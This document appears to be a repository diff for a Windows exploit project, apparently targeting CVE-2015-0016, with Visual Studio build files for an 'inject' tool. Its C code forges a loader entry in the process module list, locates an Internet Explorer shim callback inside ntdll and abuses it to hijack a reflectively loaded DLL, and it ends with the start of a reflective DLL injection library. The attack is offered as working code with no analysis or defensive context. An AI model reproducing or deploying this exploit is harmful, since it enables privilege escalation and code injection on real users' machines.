static VOID CreateFakeModule(PMY_LDR_DATA_TABLE_ENTRY templateEntry, PVOID dllBase, PVOID entryPoint)
{
fakeLdrEntry = (PMY_LDR_DATA_TABLE_ENTRY)malloc(sizeof(MY_LDR_DATA_TABLE_ENTRY));
memcpy(fakeLdrEntry, templateEntry, sizeof(LDR_DATA_TABLE_ENTRY));
fakeLdrEntry->DllBase = dllBase;
fakeLdrEntry->EntryPoint = entryPoint;
fakeLdrEntry->SizeOfImage = 0x1b000;
fakeLdrEntry->FullDllName.pBuffer = L"WinRefl.dll";
fakeLdrEntry->FullDllName.Length = wcslen(fakeLdrEntry->FullDllName.pBuffer) * 2;
fakeLdrEntry->FullDllName.MaximumLength = fakeLdrEntry->FullDllName.Length + 2;
fakeLdrEntry->BaseDllName.pBuffer = L"WinRefl.dll";
fakeLdrEntry->BaseDllName.Length = wcslen(fakeLdrEntry->BaseDllName.pBuffer) * 2;
fakeLdrEntry->BaseDllName.MaximumLength = fakeLdrEntry->BaseDllName.Length + 2;
}
static VOID DeleteFakeModule()
{
free(fakeLdrEntry);
fakeLdrEntry = NULL;
}
static VOID UnhookFakeModule()
{
_PPEB pPeb = (_PPEB)__readfsdword(0x30);
// Restore the InMemoryOrderModuleList
pPeb->pLdr->InMemoryOrderModuleList = headBackup;
pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(pPeb->pLdr->InMemoryOrderModuleList);
DeleteFakeModule();
}
static VOID HookFakeModule(HINSTANCE hinstDLL, PVOID ep) {
PentryPoint entryPoint = (PentryPoint)ep;
_PPEB pPeb = (_PPEB)__readfsdword(0x30);
LIST_ENTRY head = pPeb->pLdr->InMemoryOrderModuleList;
// Make Backup to restore later
headBackup = head;
PMY_LDR_DATA_TABLE_ENTRY firstEntry = (PMY_LDR_DATA_TABLE_ENTRY)((BYTE *)head.Flink - (ptrdiff_t)8);
CreateFakeModule(firstEntry, hinstDLL, entryPoint);
// Insert the fake entry in the InMemoryOrderModuleList
fakeLdrEntry->InMemoryOrderLinks.Flink = head.Flink;
fakeLdrEntry->InMemoryOrderLinks.Blink = head.Flink->Blink;
// Fix the list
pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(fakeLdrEntry->InMemoryOrderLinks);
pPeb->pLdr->InMemoryOrderModuleList.Flink = &(fakeLdrEntry->InMemoryOrderLinks);
return;
}
// Find a pointer to the IEshims!CShimBindings::_LdrNotificationCallback
static SIZE_T SearchLdrNotificationCallback()
{
HMODULE ntdll = LoadLibraryA("ntdll.dll");
FARPROC registerDllMethod = GetProcAddress(ntdll, "LdrRegisterDllNotification");
PUCHAR searchPtr = (unsigned char *)registerDllMethod;
UCHAR testByte = 0x00;
SIZE_T pNotificationList = 0;
SIZE_T pNotificationCallback = 0;
for (int i = 0; i < 0x1000; i++) {
if (searchPtr[i] == searchPtr[i + 5] + 4 &&
searchPtr[i + 1] == searchPtr[i + 6] &&
searchPtr[i + 2] == searchPtr[i + 7] &&
searchPtr[i + 3] == searchPtr[i + 8]) {
searchPtr = searchPtr + i;
pNotificationList = *(SIZE_T *)searchPtr;
break;
}
if (searchPtr[i] == searchPtr[i + 6] + 4 &&
searchPtr[i + 1] == searchPtr[i + 7] &&
searchPtr[i + 2] == searchPtr[i + 8] &&
searchPtr[i + 3] == searchPtr[i + 9]) {
searchPtr = searchPtr + i;
pNotificationList = *(SIZE_T *)searchPtr;
break;
}
}
memcpy(&pNotificationCallback, (SIZE_T *)pNotificationList, sizeof(SIZE_T));
pNotificationCallback += sizeof(SIZE_T) * 2;
return pNotificationCallback;
}
VOID InstallShims(HINSTANCE hinstDLL, PVOID ep, LPVOID lpReserved) {
ULONG notificationStruct = 0;
PcshimBindingsHookFunc cshimBindingsHookFunc = NULL;
PNotificationFunc notificationCallback = NULL;
// Create and Hook fake entry in the InMemoryOrderModuleList
HookFakeModule(hinstDLL, ep);
// Create a fake LDR_DLL_LOADED_NOTIFICATION_DATA
CreateFakeNotification(hinstDLL);
// Find IEshims!CShimBindings::_LdrNotificationCallback
memcpy(&notificationCallback, (PVOID)SearchLdrNotificationCallback(), sizeof(PVOID));
// Call the IEshims!CShimBindings::_LdrNotificationCallback with the fake notification.
// It should install CShimBindings::s_DllMainHook as entry point on the fake LDR_DATA_TABLE_ENTRY
notificationCallback(LDR_DLL_NOTIFICATION_REASON_LOADED, fakeNotification);
// Disclose the address of CShimBindings::s_DllMainHook
memcpy(&cshimBindingsHookFunc, &(fakeLdrEntry->EntryPoint), sizeof(SIZE_T));
// Call CShimBindings::s_DllMainHook by ourselves
// It should hijack our Reflective DLL and call the reflective entry point again...
cshimBindingsHookFunc(hinstDLL, DLL_PROCESS_ATTACH, lpReserved);
// At this moment exploitation should be done, we free the fake LDR_DLL_LOADED_NOTIFICATION_DATA
DeleteFakeNotification();
// And finally Unhook the InMemoryOrderModuleList and free the resource
UnhookFakeModule();
ExitThread(0);
}

View File

@ -0,0 +1,5 @@
#ifndef SHIMS_H
#define SHIMS_H
VOID InstallShims(HINSTANCE, PVOID, LPVOID);
#endif

View File

@ -0,0 +1,20 @@

Microsoft Visual Studio Solution File, Format Version 10.00
# Visual C++ Express 2008
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject.vcproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,360 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="inject"
ProjectGUID="{EEF3FD41-05D8-4A07-8434-EF5D34D76335}"
RootNamespace="inject"
Keyword="Win32Proj"
TargetFrameworkVersion="196613"
>
<Platforms>
<Platform
Name="Win32"
/>
<Platform
Name="x64"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="4"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="1"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Debug|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="1"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="2"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
EnableIntrinsicFunctions="true"
PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="1"
GenerateDebugInformation="true"
SubSystem="1"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy ..\Release\inject.exe ..\bin\"
/>
</Configuration>
<Configuration
Name="Release|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="2"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
EnableIntrinsicFunctions="true"
PreprocessorDefinitions="WIN64;NDEBUG;_CONSOLE;_WIN64"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
OutputFile="$(OutDir)\inject.x64.exe"
LinkIncremental="1"
GenerateDebugInformation="true"
SubSystem="1"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy ..\x64\Release\inject.x64.exe ..\bin\"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
>
<File
RelativePath=".\src\GetProcAddressR.c"
>
</File>
<File
RelativePath=".\src\Inject.c"
>
</File>
<File
RelativePath=".\src\LoadLibraryR.c"
>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl;inc;xsd"
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
>
<File
RelativePath=".\src\GetProcAddressR.h"
>
</File>
<File
RelativePath=".\src\LoadLibraryR.h"
>
</File>
<File
RelativePath=".\src\ReflectiveDLLInjection.h"
>
</File>
</Filter>
</Files>
<Globals>
</Globals>
</VisualStudioProject>

View File

@ -0,0 +1,258 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{EEF3FD41-05D8-4A07-8434-EF5D34D76335}</ProjectGuid>
<RootNamespace>inject</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
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<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
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<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;WIN_X86;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
<PostBuildEvent>
<Command>copy ..\Release\inject.exe ..\bin\</Command>
</PostBuildEvent>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)inject.arm.exe</OutputFile>
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
</Link>
<PostBuildEvent>
<Command>copy ..\ARM\Release\inject.arm.exe ..\bin\</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN64;NDEBUG;_CONSOLE;_WIN64;WIN_X64;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<OutputFile>$(OutDir)inject.x64.exe</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
<PostBuildEvent>
<Command>copy ..\x64\Release\inject.x64.exe ..\bin\</Command>
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</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\GetProcAddressR.c" />
<ClCompile Include="src\Inject.c" />
<ClCompile Include="src\LoadLibraryR.c" />
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<ItemGroup>
<ClInclude Include="src\GetProcAddressR.h" />
<ClInclude Include="src\LoadLibraryR.h" />
<ClInclude Include="src\ReflectiveDLLInjection.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -7,33 +7,29 @@
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
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<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
<ClCompile Include="src\GetProcAddressR.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\Inject.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\LoadLibraryR.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<ClInclude Include="src\GetProcAddressR.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<ClInclude Include="src\LoadLibraryR.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="cve-2015-0016.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,116 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "GetProcAddressR.h"
//===============================================================================================//
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
// wont be able to resolve exported addresses in reflectivly loaded librarys.
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
{
UINT_PTR uiLibraryAddress = 0;
FARPROC fpResult = NULL;
if( hModule == NULL )
return NULL;
// a module handle is really its base address
uiLibraryAddress = (UINT_PTR)hModule;
__try
{
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiNameOrdinals = 0;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// get the VA of the modules NT Header
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );
// get the VA for the array of name pointers
uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );
// test if we are importing by name or by ordinal...
